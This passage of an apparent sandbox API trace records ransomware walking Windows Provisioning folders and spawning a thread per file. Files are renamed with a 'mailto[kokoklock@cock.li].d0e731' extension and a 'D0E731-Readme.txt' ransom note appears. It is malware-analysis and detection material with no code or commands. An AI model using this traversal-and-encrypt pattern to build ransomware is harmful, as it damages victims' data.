Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" [0173.601] wcscat (in: _Dest=0x2f91240, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" [0173.602] wcscat (in: _Dest=0x2f91240, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*" [0173.602] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023a60 [0173.602] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*", lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ab2910d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ab2910d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80520 [0173.605] wcscmp (_String1=".", _String2=".") returned 0 [0173.606] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ab2910d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ab2910d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.606] wcscmp (_String1="..", _String2=".") returned 1 [0173.606] wcscmp (_String1="..", _String2="..") returned 0 [0173.606] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8a9390bf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x65f, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.606] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.606] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.606] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f8fb50 [0173.606] wcscpy (in: _Dest=0x2f8fb50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" [0173.606] wcscat (in: _Dest=0x2f8fb50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" [0173.606] wcscat (in: _Dest=0x2f8fb50, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0174.055] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a95f150, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a95f150, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a95f150, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.055] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.055] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.055] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ab2910d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.055] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.055] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.055] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305d840 [0174.055] wcscpy (in: _Dest=0x305d840, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" [0174.055] wcscat (in: _Dest=0x305d840, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" [0174.055] wcscat (in: _Dest=0x305d840, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0174.056] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bbde001, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bbde001, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.056] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.056] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.056] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055868 [0174.056] wcscpy (in: _Dest=0x3055868, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" [0174.056] wcscat (in: _Dest=0x3055868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" [0174.056] wcscat (in: _Dest=0x3055868, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" [0174.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3055868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0174.059] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bbde001, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bbde001, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.059] FindClose (in: hFindFile=0x2f80520 | out: hFindFile=0x2f80520) returned 1 [0174.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023a60) returned 1 [0174.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91240) returned 1 [0174.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90cc0) returned 1 [0174.060] RtlExitUserThread (Status=0x0) Thread: id = 2156 os_tid = 0x1298 [0173.606] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f912f0 [0173.606] wcscpy (in: _Dest=0x2f912f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" [0173.606] wcscat (in: _Dest=0x2f912f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" [0173.607] wcscat (in: _Dest=0x2f912f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*" [0173.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023cc8 [0173.607] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*", lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a8ecc93, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a8ecc93, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80560 [0173.609] wcscmp (_String1=".", _String2=".") returned 0 [0173.609] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a8ecc93, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a8ecc93, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.609] wcscmp (_String1="..", _String2=".") returned 1 [0173.609] wcscmp (_String1="..", _String2="..") returned 0 [0173.609] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410e9a1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410e9a1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8a8c68d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CUSTOM~1.D0E")) returned 1 [0173.609] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.609] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f8fc68 [0173.609] wcscpy (in: _Dest=0x2f8fc68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" [0173.609] wcscat (in: _Dest=0x2f8fc68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" [0173.609] wcscat (in: _Dest=0x2f8fc68, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fc68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0174.051] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a8c68d5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a8c68d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a8c68d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.051] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.051] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.051] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540c24cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540c24cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8a8ecc93, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MASTER~1.D0E")) returned 1 [0174.051] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.051] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305d4f8 [0174.051] wcscpy (in: _Dest=0x305d4f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" [0174.051] wcscat (in: _Dest=0x305d4f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" [0174.051] wcscat (in: _Dest=0x305d4f8, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d4f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868 [0174.052] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bbb7e57, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bbb7e57, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.052] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.052] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.052] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30557b0 [0174.052] wcscpy (in: _Dest=0x30557b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" [0174.052] wcscat (in: _Dest=0x30557b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" [0174.052] wcscat (in: _Dest=0x30557b0, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" [0174.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30557b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0174.053] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bbb7e57, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bbb7e57, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.053] FindClose (in: hFindFile=0x2f80560 | out: hFindFile=0x2f80560) returned 1 [0174.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023cc8) returned 1 [0174.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f912f0) returned 1 [0174.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92210) returned 1 [0174.054] RtlExitUserThread (Status=0x0) Thread: id = 2157 os_tid = 0x129c [0173.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f913a0 [0173.609] wcscpy (in: _Dest=0x2f913a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" [0173.609] wcscat (in: _Dest=0x2f913a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" [0173.609] wcscat (in: _Dest=0x2f913a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*" [0173.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30200a0 [0173.610] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*", lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a85459b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a85459b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f805e0 [0173.611] wcscmp (_String1=".", _String2=".") returned 0 [0173.612] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a85459b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a85459b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.612] wcscmp (_String1="..", _String2=".") returned 1 [0173.612] wcscmp (_String1="..", _String2="..") returned 0 [0173.612] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fff1c4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fff1c4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8a7956b6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.612] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.612] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f8fd80 [0173.612] wcscpy (in: _Dest=0x2f8fd80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" [0173.612] wcscat (in: _Dest=0x2f8fd80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" [0173.612] wcscat (in: _Dest=0x2f8fd80, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580 [0174.046] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a7956b6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a7956b6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a807dd1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.046] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.046] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.046] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8cab3, ftCreationTime.dwHighDateTime=0x1d29f93, 